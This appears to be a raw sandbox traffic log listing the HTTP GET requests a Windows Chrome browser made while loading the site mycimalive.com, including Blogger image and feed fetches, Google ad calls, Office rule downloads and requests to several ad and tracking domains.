Source: global traffic	HTTP traffic detected: GET /img/b/R29vZ2xl/AVvXsEhanjg5FQ_WcSXnLlNefHn3XPYMDHeE5JSNftuLC2MPDfG0uIKhbOrY_s0IYSMkaMYBx2UzQIMtWZ9HrV69ghm9O9FGMZPmcnXhh3_nRf4wQuZLXWElkNagBZditi7At4XQBJUWxkBpf2QqVbm1WQx70Ux-cuT_3V1ixUBBeFy-YiLB0k1MbhT223HO6Yh1/s1600/images%20(29).jpeg HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /img/a/AVvXsEie-I9BcwAGL-Q2otyHHcocnNO7wYJMLIE_wTDb_VUERu_pttcU4fYTdaJisnLRZ8gVgbZI0ZYBRHx7rOkyP9hw7NUCQmCO_7-0Wd9SE3HB7nfuulr4lY56tKQojf_Z66W51J6snBywAoV2ZSoC2X6gqRQT2qkfXYAUx5CkArxObmMxnMfLGEBWNU9v7DE=s1280 HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/a/AVvXsEiTV-7Y2I-d67KrsXYeIouYAFpW5ubJhPjx7l6sbDTzEQM9hVfKlnXCW8nD01dufMkXG0RutlWWVJKy0qAkoqseene4q0eVlaID9BCe28OqBA9SN_Yjy-al3Ef6FedD80doXoz7UE1RESRxhFyHfFovuOoNPVN3ABwjXSb87O9QqO1nFtiOju4OIOF8u0o=s1280 HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.mycimalive.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/b/R29vZ2xl/AVvXsEjxtF2EGc4gyb_sNBOEqULAxq-qIaDz6pkBAa_eeZuLk0GKp2-HyWVJDkW54GH47x7ETBMzGncabdWiE000LAOSqr5Nml9pXFw1pHybu0Y6oFfNw9-gQwYXioDXnLTAtbKLmzeQ0W1Fl5BAJIQCDRAXwLfaIiRbgIFP-khGhSv29jzClIqW-5CQNtMdZZ9e/s1600/%D8%AA%D9%86%D8%B2%D9%8A%D9%84%20(18).jpeg HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/b/R29vZ2xl/AVvXsEilthfx38QlHFxL3Khn-j5CJzUsOSnQZg2lra4pPbU-1I5zAKJaooQ6gOOrOTlahlInZt6kUuNhkiig5FCwcmX2FOm0sszfp5Ukg1KTW0kv76WCftXcoYq755BAS_PwEF1zZrIZA9j8At0U3keYSOFtcclOPCW9WgJpnZM4KJ0cJ-yBccegg8RUG1_Jgg7K/s320/elaosboa46275.webp HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/b/R29vZ2xl/AVvXsEgjZ2wuKeUDSK0w0px0GXL68U_8hwq1x5ZclkWCM98U9Ltg9k2_fStCvFHrkzRLxxZVYq7jlZaFiIgcOW8JZoS2lKtioQGF1vv9slVlt_ouF_EqPViGpjWvfaenf-2iPUqjKS5r_wuN-QzxQcfliUgCiY9Ct5yAPJg633GzebpgmYyXjriEqb8IE-6OF_RL/s320/IMG_20240913_023407_864.jpg HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dyn-css/authorization.css?targetBlogID=6282888993036066443&zx=4f118a4f-0975-433c-acbe-bd56357139a6 HTTP/1.1Host: www.blogger.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /5/8079706/?oo=1&js_build=iclick-v1.976.0&dmn=glakraptaidsupi.net&ix=0&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134 HTTP/1.1Host: oughoaghushouru.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.mycimalive.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /4/8079706?dovr=true&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134 HTTP/1.1Host: oughoaghushouru.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /feeds/posts/default/-/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script&max-results=6&callback=jQuery11100049902415236919184_1728945586995&data&_=1728945586996 HTTP/1.1Host: www.mycimalive.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, /; q=0.01X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /feeds/posts/default/-/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script&max-results=6&callback=jQuery11100049902415236919184_1728945586997&data&_=1728945586998 HTTP/1.1Host: www.mycimalive.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, /; q=0.01X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /feeds/posts/default/-/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script&max-results=6&callback=jQuery11100049902415236919184_1728945586999&data&_=1728945587000 HTTP/1.1Host: www.mycimalive.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, /; q=0.01X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /feeds/posts/default/-/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script&max-results=6&callback=jQuery11100049902415236919184_1728945587001&data&_=1728945587002 HTTP/1.1Host: www.mycimalive.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, /; q=0.01X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /feeds/posts/default/-/%D9%83%D8%B1%D8%AA%D9%88%D9%86?alt=json-in-script&max-results=6&callback=jQuery11100049902415236919184_1728945587003&data&_=1728945587004 HTTP/1.1Host: www.mycimalive.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, /; q=0.01X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /split_track?action=check_overlay&dlShown=true&zone=8079706 HTTP/1.1Host: bytogeticr.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.mycimalive.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/html/r20241009/r20190131/zrt_lookup_fy2021.html HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /pagead/ads?client=ca-pub-5999781818075238&output=html&adk=1812271804&adf=3025194257&abgtt=6&lmt=1728937851&plat=1%3A16777216%2C2%3A16777216%2C3%3A16%2C4%3A16%2C9%3A32776%2C16%3A8388608%2C17%3A32%2C24%3A32%2C25%3A32%2C30%3A1081344%2C32%3A32%2C41%3A32%2C42%3A32&format=0x0&url=https%3A%2F%2Fwww.mycimalive.com%2F&host=ca-host-pub-1556223355139109&pra=5&wgl=1&aihb=0&asro=0&ailel=1~2~4~6~7~8~9~10~11~12~13~14~15~16~17~18~19~20~21~24~29~30~34&aiael=1~2~4~6~7~8~9~10~11~12~13~14~15~16~17~18~19~20~21~24~29~30~34&aicel=33&aifxl=29_18~30_19&aiixl=29_5~30_6&aslmct=0.7&asamct=0.7&aiict=1&aiopts=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzQiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTM0Il0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzQiXV0sMF0.&dt=1728945587196&bpp=15&bdt=1401&idt=2132&shv=r20241009&mjsv=m202410080101&ptt=9&saldr=aa&abxe=1&cookie_enabled=1&eoidce=1&nras=1&correlator=1312372006252&frm=20&pv=2&u_tz=-240&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&dmc=8&adx=-12245933&ady=-12245933&biw=1275&bih=907&scr_x=0&scr_y=0&eid=44759875%2C44759926%2C44759837%2C95338738%2C31087805%2C31087941%2C31087987%2C44798934%2C95343454%2C95344187%2C95344522%2C95344778%2C31087608&oid=2&pvsid=3733427255325303&tmod=1008452106&uas=1&nvt=1&fsapi=1&fc=1920&brdim=0%2C0%2C0%2C0%2C1280%2C0%2C1280%2C984%2C1280%2C907&vis=2&rsz=%7C%7Cs%7C&abl=NS&cms=1&fu=32768&bc=31&bz=1&td=1&tdf=0&psd=W251bGwsbnVsbCxudWxsLDNd&nt=1&ifi=1&uci=a!1&fsb=1&dtd=2282 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /img.gif?f=merge&userId=0080f52b8e41436deb287525cd342cae&z=8079706&p_rid=010be0c3-d8ef-4b81-8363-d3a6d5db9249&p_src=sf HTTP/1.1Host: my.rtmark.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://oughoaghushouru.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /sftouch?userId=0080f52b8e41436deb287525cd342cae&z=8079706&p_rid=010be0c3-d8ef-4b81-8363-d3a6d5db9249&p_src=sf&dovr=true&branchId=0&rb=gvLURGPR381dNCfm4z7DWmYChfRrNhidpJlpK6Hu3FaYvLFUudsW7GlQ47cDaUUZC2xZ6a8UDxSV7yk4exemc7RTefog3vu58lg38UHdk40Gbk5LPmTVJUDoFRWwMMyCRs2kS8Z_0Bz-O-EL9By5pRVCmMYn3I6lF2fPD0Q5uBsfEAuGP0kbp9MWugTaqI88Vfiok-SHDNqC3ESXX3cndXxoLTbbqbiX0B7k3KMu_CNf4D4J1-fd--_UGmqV279IGSxmPqv7wkiIL0kbeWVYAbp1R6hJXCmQLy7KSdzI-e8Kvq990alo-diDMLH7eG6kb5S0HQEgdY_Rzhmz-jYWgf3Mf2xkGqnR&w_img=1 HTTP/1.1Host: oughoaghushouru.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.134"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://oughoaghushouru.net/4/8079706?dovr=true&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: oaidts=1728945591; OAID=0080f52b8e41436deb287525cd342cae; captcha=player
Source: global traffic	HTTP traffic detected: GET /gid.js?userId=0080f523ce504ac9e2ef03a350bc2951 HTTP/1.1Host: my.rtmark.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.mycimalive.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ID=0080f52b8e41436deb287525cd342cae
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /img/a/AVvXsEgtpFcYsGsl5Crlj3BRaub4sS1wPYMeblwQkUk7ttnWFe1io1ox7ee6G2PDsa6n3mEUwEO1b6y7GCO2ALzAX45LZp5zX7E2chU_u2-OhgVrg-B95XGbbjq6KANBiayi5lXzNCGak4TUoYJgPFVk03Wv28KtbJTvuDka23dlPoIYCo1eNO0K3vjB7_muKJA=s1280 HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/a/AVvXsEhuOGhQW_mCF2mWt-zO3DaGNdUe7-J8EId0r1m8F1UZUWl2yrTGHML9FVXg9swozmwaB8T2d5eFipVFS9XYtnHK5CMeWad-Yx7U8obTrIjuQTNEFJM_IWAnJHlruZUd5_eZWqqKMJ6rGiV-DdAf2khkop-S16AzPy_Uo1FqaEGjip8BISiFVT0lJgptD_k=s1280 HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/a/AVvXsEgc5N711LzOz4iNi3xi8pKVeX5gkv9MZWih5ACBCf6qslJOmWdT2u9DMUW8EPNyL_vWulCbbU2Y_UNgTzB7DL-R8FTebR49t2DM3JNeXbA8ROjCJUcgmT_sToEDzUzZ9bl5_ETfIk1YAUbRLEPhE7XNYdyr6NuAu0boEGYH0PjvTciStuR24xcyccktybY=s1280 HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/a/AVvXsEhNSBCxza-9Vm_wzzSDljXblYAqFphshx9W6Cj3v4FTMfxOabEclNgX653uZHpemqUXK4ZjSlXdRCCJZEfqsfS_ZGG5w1Plyw7VR-wR3bhPAqUlEBycdvcymliiWooHhIo_A9iKKpN03q6X_KdEEEtocrAdBpQORzh0zJosW1k9ijrOx0paMjC7iiGa4jQ=s1280 HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
